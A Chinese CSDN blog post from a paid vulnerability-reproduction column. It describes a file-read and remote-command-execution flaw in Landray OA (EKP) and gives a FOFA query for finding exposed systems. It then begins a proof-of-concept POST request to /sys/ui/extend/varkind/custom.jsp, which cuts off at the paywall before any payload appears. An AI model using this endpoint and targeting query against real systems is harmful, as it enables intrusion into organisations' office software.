蓝凌OA custom命令执行漏洞（含批量验证poc）

今天晚上早睡觉

已于 2024-04-18 10:16:00 修改

阅读量455

点赞数

分类专栏：漏洞复现文章标签： web安全

于 2024-04-18 10:15:41 首次发布

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137910419

版权

漏洞复现专栏收录该内容

364 篇文章 177 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了蓝凌软件数字OA(EKP)存在的任意文件读取漏洞，影响多个版本。攻击者可利用该漏洞获取敏感信息并执行远程命令。提供Tscan POC用于漏洞复现。

摘要由CSDN通过智能技术生成

漏洞描述

深圳市蓝凌软件股份有限公司数字OA(EKP)存在任意文件读取漏洞,攻击者可利用漏洞获取敏感信息，可构造数据包进行RCE

漏洞影响版本

蓝凌OA
FOFA
app=”Landray-OA系统”

漏洞复现

利用POC执行命令 echo ,实现回显

poc:

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 17605
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIO

了解本专栏